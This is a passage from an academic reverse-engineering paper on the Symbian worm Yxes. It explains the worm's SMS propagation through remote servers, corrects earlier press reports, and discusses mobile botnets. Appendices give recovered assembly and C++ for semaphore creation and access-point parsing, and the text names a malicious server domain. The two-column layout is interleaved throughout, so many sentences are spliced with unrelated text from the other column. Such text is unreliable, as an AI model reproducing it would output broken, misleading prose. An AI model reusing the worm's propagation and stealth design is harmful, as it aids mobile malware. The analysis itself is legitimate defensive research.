6.3 Worm’s propagation At its time, news about Yxes hit the headlines and, as it often happens in such cases, rumors, guesses or even wrong state- Once the phone numbers of future victims and SMS text have ments circulated amid correct ones. This section tries to shed been downloaded, the malware begins its propagation phase: light on those statements, based on the reverse engineering it sends an SMS to each new victim (Sect. 5.5), with the cus- results of the previous sections. It should be noted the intent tomized text, and a link to a malicious server where the victim of this section is not make fun of other’s weaknesses (they can download the malware. SMS cannot include any attach- are human) but rather to help understand Yxes’s behaviour. ments, so the malware cannot attach itself to the message. The only lesson to be learned is that articles should highlight Instead, it has to rely on an additional entity, the malicious the differences between proof and guesses they make. servers, for its propagation. Hence, this is an indirect propa- One of the biggest errors concerns the propagation of gation. The malware author(s) could have used an MMS to Yxes. [9,11,18,39] believed the malware collected phone spread the malware as they may include attachments. How- numbers on the phone and directly sent them SMS messages. ever, fewer phones are configured to receive or send MMS This information is a close guess, but the previous sections (only 40 % in France according to [27]), contrary to SMS of this paper have proved it is not accurate: the malware does which are so popular. It is quite possible SMS is a better collect contacts phone numbers but sends them to a remote propagation vector after all. server. The infected phone sends SMS messages to phone It should also be noted that Yxes does not replicate on numbers it does not necessarily have in its own phonebook. the victim’s mobile phone. A few strings such as c:\kel.sisx, Several other inaccuracies—or misleading statements— c:\root.sisx, spotted in the malware’s binary, initially mis- can be noted: lead analysis and people thought the malware copied itself in those files and then spread (on the memory card or via • Botnet. [9,13] have speculated on Yxes being the first HTTP). This is actually wrong. A close reverse engineer- mobile botnet. To be more precise, Yxes is not a mobile ing of those routines have shown the malware does not (cur- botnet yet, but it could quite easily turn into one. Concern- rently) copy itself in those files nor spread to the memory card ing this matter, [18] is closer to reality: “We haven’t yet 123 128 A. Apvrille

seen a mobile botnet, but this is a very large step towards • Malicious URLs. [4] mentioned it could not find the that”. The analysis in this paper proves this is correct. URLs of the malicious servers. This paper now solves • Handsets Yxes works on. [18] reported “the worm is only the issue: the strings are stored at the end of the mali- present on Nokia 3250 handsets but there is no reason it cious SISX package, XOR encrypted. Indeed, they could can’t affect other devices or carriers”, which is believed not be directly read in an hexadecimal viewer. to be a misinterpretation of [32]. Yxes spreads on all S60 • Sample confusion. [4] states “Transmitter.C is not 3rd edition phones. This includes Nokia 3250, but also Yxes.E”. Actually, this is both true and false. The sam- others such as Nokia N73 or N95. This has been known ple corresponding to what was named as Transmit- from the beginning. Nokia 3250 handsets have been spe- ter.C and which corresponds to the trojanized version of cially mentioned because a string “nokia3250” can be Advanced Device Locks is different from sample sexy- noticed in Yxes’s executable. This string is a default Space.sisx, which was named SymbOS/Yxes.E!worm. string, sent as the victim’s phone model to remote servers This is true. But, in the end, the Advanced Device Locks whenever the routine retrieving the phone’s model fails. trojan was also named SymbOS/Yxes.E!worm because it • Creation of SISX files. [29,37] state a file named root.sisx was extremely similar to the other one (sexySpace.sisx). is created (variant A). This is true, but the descriptions Section 4 actually found out that sexySpace.sisx was should add the file is temporary and will hold data down- an incomplete package of the trojan sample where the loaded from remote servers. The content of this file is not encrypted malicious URLs where missing. created by the malware. • Modification of System.ini. The same descriptions also state c:\system\data\System.ini is modified. In that case, 8 Conclusion the file is not modified but created, and it contains the URL of a malicious web server (e.g. http://www.megac1jck. From the analysis in this paper, it looks like Yxes has earned com). This file should not be confused with the system’s its fame: its propagation method—sending SMS to phone System.ini, which is located in c:\system. numbers harvested on other infected phones—is novel, its communication model with remote malicious servers has Another set of statements, concerning Yxes’s internation- the foretastes of botnets and the malware’s code indicates alization, looks like an unlikely guess, even if we have not the author(s) is/are good Symbian programmers, with stealth found any strong evidence against them. [10] reports the mal- Internet connections and malware installation, process kill- ware “automatically identifies mobile phone languages and ing or URL decryption loops. sends different short message contents including ’Classic Actually, perhaps one of the main issues concerning Yxes Gongfu stories, City passion” (etc). Similarly, [5,36]imply is that its code does not exploit any particular Symbian OS the virus automatically identifies the phone’s language to vulnerability, but only uses functions of its API in an intel- adapt SMS messages. The global overview of Yxes (Sect. 6) ligent manner: the code proves mobile phones assets aren’t explains this is unlikely: localization is handled by the remote efficiently protected. In particular, the concept of capabilities servers, not by the Symbian malware. This paper’s guess is fails to stop malicious intents, first because cybercriminals that the SMS texts are downloaded according to the phone manage to have their malware signed whatever capability number’s MCC. they request, and second because capabilities grant autho- Finally, some failures honestly reported in previous work rizations for given actions but cannot take into account a can be now be explained. context or an intent. For example, consider two mobile twit- ting clients. The first one connects to the Internet to add • Executable strings. [8] reports he could not find several new tweets to end-user’s account. The other one does the strings reported in virus descriptions (“olpx”, “mr.log”, same, but additionally adds the tweet to another account (e.g. “TimeUpToRoot” etc). Indeed, the malicious strings can- the attacker’s). The intent of the former application is legiti- not be directly found in the malware’s executable for at mate, the intent of the latter is malicious. Unfortunately, it is least two reasons. First, Symbian OS 9 uses compressed likely both will be granted authorization to connect to Inter- executables. To stand a chance finding strings, one must net. The capability model and, more generally, platform’s first uncompress the executable. This can be done with security need to be enhanced against installation, execution the PETran tool [23]. Second, Symbian uses both 8 bit or spreading of malware. and 16 bit strings: be sure to look for both formats or A few pieces are still missing to the Yxes puzzle. On a some strings will go unnoticed. On Linux, 16 bit strings technical level, we still need to understand how the mal- can be found with the command: ware fills the phone number and text fields of SMS messages. Up to now, there are a few indications AES encryp- strings --encod\-ing=l file tion might be used to conceal that information (strings 123 Symbian worm Yxes: towards mobile botnets? 129 containing the words key or Rijndael—the initial name for their versions, but their final goal is yet unknown: is this just AES, and obscure assembly routines) but this would have a technical challenge or do they wish to sell their malware? to be confirmed by a detailed analysis. Another missing Are they already being financed for a given malicious cam- piece of the puzzle concerns HTTP messages: in addition paign, what income do they expect? Those questions are yet to HTTP GET messages, a few HTTP POST have been unanswered. identified, but we do not know when they are used or what for. Acknowledgments Thanks to Guillaume Lovet for his detailed On a more general point of view, it would also be help- reviewing of this paper. Many thanks to Jie Zhang, Dong Xie and Alexandre Aumoine for their help on Symbian malware and IDA Pro. ful to have more tools for mobile phone analysis, such as a way to keep the phone online but block (and log) outgoing Appendix A: creating a semaphore SMS/MMS/Bluetooth or any other data packets. Finally, the cybercrime angle should also be clarified. Cur- The assembly code below shows how Yxes creates a sema- rently, it looks like the authors are debugging and improving phore:

.text:7C8C0074 LDR R0, =aEconserversemaphore_0x20026ca5 ; .text:7C8C0078 BL sub_7C8C0384 .text:7C8C007C MOV R3, R0 ; this routine returns the string in R0 .text:7C8C0080 SUB R0, R11, #0x1C ; semaphore object in R0 .text:7C8C0084 MOV R1, R3 ; semaphore name .text:7C8C0088 MOV R2, #0 ; owner type .text:7C8C008C BL _ZN10RSemaphore10OpenGlobalERK7TDesC1610TOwnerType ; call OpenGlobal .text:7C8C0090 CMP R0, #0 ; compare return value with KErrNone .text:7C8C0094 BNE MyCreateSemaphore ; create semaphore if return value not KErrNone .text:7C8C0098 .text:7C8C0098 MySemaphoreAlreadyThereExit .text:7C8C0098 LDR R0, [R11,#var_18] .text:7C8C009C BL MyDestroyObject .text:7C8C00A0 MOV R0, #1 ; exit code .text:7C8C00A4 BL _ZN4User4ExitEi ; User::Exit(int) .text:7C8C00A8 B loc_7C8C0130 .text:7C8C00AC .text:7C8C00AC MyCreateSemaphore .text:7C8C00AC LDR R0, =aEconserversemaphore_0x20026ca5 .text:7C8C00B0 BL sub_7C8C0384 ; this routine returns the string in R0 .text:7C8C00B4 MOV R3, R0 .text:7C8C00B8 SUB R0, R11, #0x1C ; semaphore object in R0 .text:7C8C00BC MOV R1, R3 ; semaphore name TDesC16 .text:7C8C00C0 MOV R2, #0 ; initial count .text:7C8C00C4 MOV R3, #0 ; OwnerType = EOwnerProcess .text:7C8C00C8 BL _ZN10RSemaphore12CreateGlobalERK7TDesC16i10TOwnerType ; call CreateGlobal .text:7C8C00CC BL _ZN4User12LeaveIfErrorEi ; User::LeaveIfError(int)

123 130 A. Apvrille

This assembly code corresponds to the following Symbian C++ code:

RSemaphore semaphore; if (KErrNone == semaphore.OpenGlobal(_L("EConServerSemaphoreBLAH") )) { User::exit(1); } else { User::LeaveIfError(semaphore.CreateGlobal(_L("EConServerSemaphoreBLAH"), 0, /* initial count */ EOwnerProcess)); }

Appendix B: parsing internet access points

This pseudo-code has been regenerated from the malware’s Note the columns of tables in the communications data- assembly. It selects entries of the IAP table which concern base correspond to hard-coded strings, defined by Symbian, outgoing WCDMA connections. Then, for each entry, it such as “IAPServiceType” etc. This explains why Symbian retrieves the IAP’s identifier, the IAP’s user-defined label, executables—and all variants of Yxes as a matter of fact— and—if defined—the IAP’s Access Point Name (APN—the contain those strings. operator’s Internet server name). The APN is not stored in the IAP table but in the service table, so the malware first needs to retrieve the identifiers to the service table.

// open the IAP table and select entries for outgoing WCDMA CCommsDatabase* iCommsDB=CCommsDatabase::NewL(EDatabaseTypeIAP); CCommsDbTableView* wcdmaTable = iCommsDB->OpenIAPTableViewMatchingBearerSetLC( ECommDbBearerWcdma, ECommDbConnectionDirectionOutgoing);

// parse each selected entry err = wcdmaTable->GotoFirstRecord(); while (err != KErrNone) { // get the name of the service table in this IAP wcdmaTable->ReadLongTextL(TPtrC(IAP_SERVICE_TYPE), service);

// get the identifier of the service in this IAP wcdmaTable->ReadUintL(TPtrC(IAP_SERVICE), id); CCommsDbTableView *serviceTable = iCommsDB->OpenViewMatchingUintLC(service, TPtrC(COMMDB_ID), id); err = serviceTable->GotoFirstRecord(); if (err != KErrNone) { // get the access point name (=sl2sfr) serviceTable->ReadLongTextLC(TPtrC(APN), apn); }

// get label of the record for easy identification by the user wcdmaTable->ReadLongTextL(TPtrC(COMMDB_NAME), name);

// if apn exists, add string "name(APN)" to array. Otherwise "name" ...

// get the record id and append it an id array wcdmaTable->ReadUintL(TPtrC(COMMDB_ID), id);

err = serviceTable->GotoNextRecord(); }

123 Symbian worm Yxes: towards mobile botnets? 131

References 20. Nokia.: TRK for Symbian OS (2008) 21. Oxygen. (n.d.): Oxygen Forensic Suite. http://www.oxygen- foren- 1. 29a.: Dr. Strangelove or: how I started to like the pocket PC virus sic.com idea. http://www.fnop.org/public/download/29A/wince_dust.txt 22. Paraben. (n.d.): Device Seizure. http://www.paraben.com (2004) 23. PETran. (n.d.): https://developer.symbian.com/wiki/display/pub/ 2. Apvrille, A.: Symbian certificates or how SymbOS/Yxes got Unsupported+developer+tools signed. http://blog.fortinet.com/symbian-certificates-or-how-symb 24. Sales, J.: Symbian OS Internals, Real-time Kernel Programming. osyxes-got-signed/ (2009a) Wiley, Chichester. http://www.developer.nokia.com/Community/ 3. Apvrille, A.: SymbOS/Yxes or downloading customized content. Wiki/Symbian_OS_Internals (2005) http://blog.fortinet.com/symbosyxes-or-downloading-customized- 25. Shub-Nigurrath.: Primer in reversing symbian S60 applications. malware/ (2009b) (Version 1.4) (2007) 4. Apvrille, A.: Transmitter.C is not Yxes.E. http://blog.fortinet.com/ 26. SISContents—Unpacking, editing and signing of symbian SIS transmitter-c-is-not-yxes-e/ (2009c) packages. (n.d.): http://cdtools.net/symbiandev/home.html 5. Asrar, I.: Could sexy space be the birth of the SMS botnet? 27. Solutions mobiles (in French). (n.d.): http://www.ocito.com/ http://www.symantec.com/connect/blogs/could-sexy-space-be- solutions-mobiles-25.html birth-sms-botnet (2009) 28. Symbian OS v9.x SIS File Format Specification (2006) 6. BiNPDA.: SecMan security manager v1.1. http://free-mobile- 29. SymbOS.Exy.A.: Symantec, Security Response, Threats and software.mobilclub.org/software/QuickHackKit.php (2008) Risks. http://www.symantec.com/security_response/writeup.jsp? 7. Campbell, I.: Symbian OS Communications Programming. docid=2009-022010-4100-99 (2009) 2nd edn. Wiley, Chichester. http://www.amazon.com/Symbian- 30. SymbOS/Fwdsms.D!tr.spy.: Fortiguard center, virus encyclopedia. OS-Communications-Programming-Press/dp/0470512288 http://www.fortiguard.com/encyclopedia/virus/symbos_fwdsms. 8. Castillo, C.: Sexy View: El Inicio de las Botnets para Dispositivos d!tr.spy.html (2009a) Moviles. (in Spanish) (2009) 31. SymbOS/Trapsms.A!tr.spy.: Fortiguard center, virus encyclopedia. 9. Constantin, L.: New mobile worm for symbian S60 3rd edition http://www.fortiguard.com/encyclopedia/virus/symbos_trapsms. phones. http://news.softpedia.com/news/New-Mobile-Worm-for- a!tr.spy.html (2009b) Symbian-S60-3rd-Edition-Phones-105100.shtml (2009) 32. SymbOS/Yxes.A!worm.: Fortiguard center, virus encyclope- 10. Cyberinsecure.: Mobile malware transmitter.c spreading in the dia. http://www.fortiguard.com/encyclopedia/virus/symbos_yxes. wild. http://cyberinsecure.com/mobile-malware-transmitterc- a!worm.html (2009c) spreading-in-the-wild/ (2009) 33. SymbOS/Yxes.E!worm.: Fortiguard center, virus encyclope- 11. Danchev, D.: New symbian-based mobile worm circulating in the dia. http://www.fortiguard.com/encyclopedia/virus/symbos_yxes. wild. http://blogs.zdnet.com/security/?p=2617 (2009) e!worm.html (2009d) 12. Economou, N., Ortega, A.: Smartphones (in)security. In: 5th Eko- 34. SymbOS/Yxes.F!tr.: Fortiguard center, virus encyclopedia. http:// party Security Conference (2008) www.fortiguard.com/encyclopedia/virus/symbos_yxes.f!tr.html 13. Fortiguard advisory FGA-2009-07.: http://www.fortiguard.com/ (2009e) advisory/FGA-2009-07.html (2009) 35. Tan, A. (n.d.): Active file manager. http://alietan.com/ 14. Gostev, A.: Malware evolution: January–March 2008. http://www. 36. Transmitter.C.: http://www.netqin.com/en/virus/virusinfo_1326_ viruslist.com/en/analysis?pubid=204792002#l5 (2008) 1.html (2009) 15. de. Haas, J.: Mobile security: SMS and WAP. In: Blackhat Europe 37. Trojan:SymbOS/Yxe.: F-Secure, security lab, virus descriptions. 2001 (2001) http://www.f-secure.com/v-descs/trojan_symbos_yxe.shtml 16. Hypponen, M.: Mobile malware. In: 16th Usenix Security Sympo- (2009) sium. (Invited talk) (2007) 38. Wikipedia.: Smartphone. http://en.wikipedia.org/wiki/ 17. Java/RedBrowser.A!tr.: Fortiguard center, virus encyclopedia Smartphone (2008) http://www.fortiguard.com/encyclopedia/virus/java_redbrowser. 39. Winder, D.: Could Sexy View SMS worm build the first mobile a!tr.html (2006) botnet? http://www.itwire.com/content/view/23383/1231/ (2009) 18. Moscaritolo, A.: New symbian Mmobile malware in the wild. 40. Zhang, J.: Find out the ‘Bad guys’ on the Symbian. In: Association http://www.scmagazineuk.com/New-Symbian-mobile-malware-in- of Anti Virus Asia Researchers Conference (2007) the-wild/article/127704/ (2009) 19. Mulliner, C.: Exploiting Symbian. In: 25th Chaos Communi- cation Congress (25c3). http://www.mulliner.org/symbian/feed/ CollinMulliner_ExploitingSymbian_25C3.pdf (2008)

123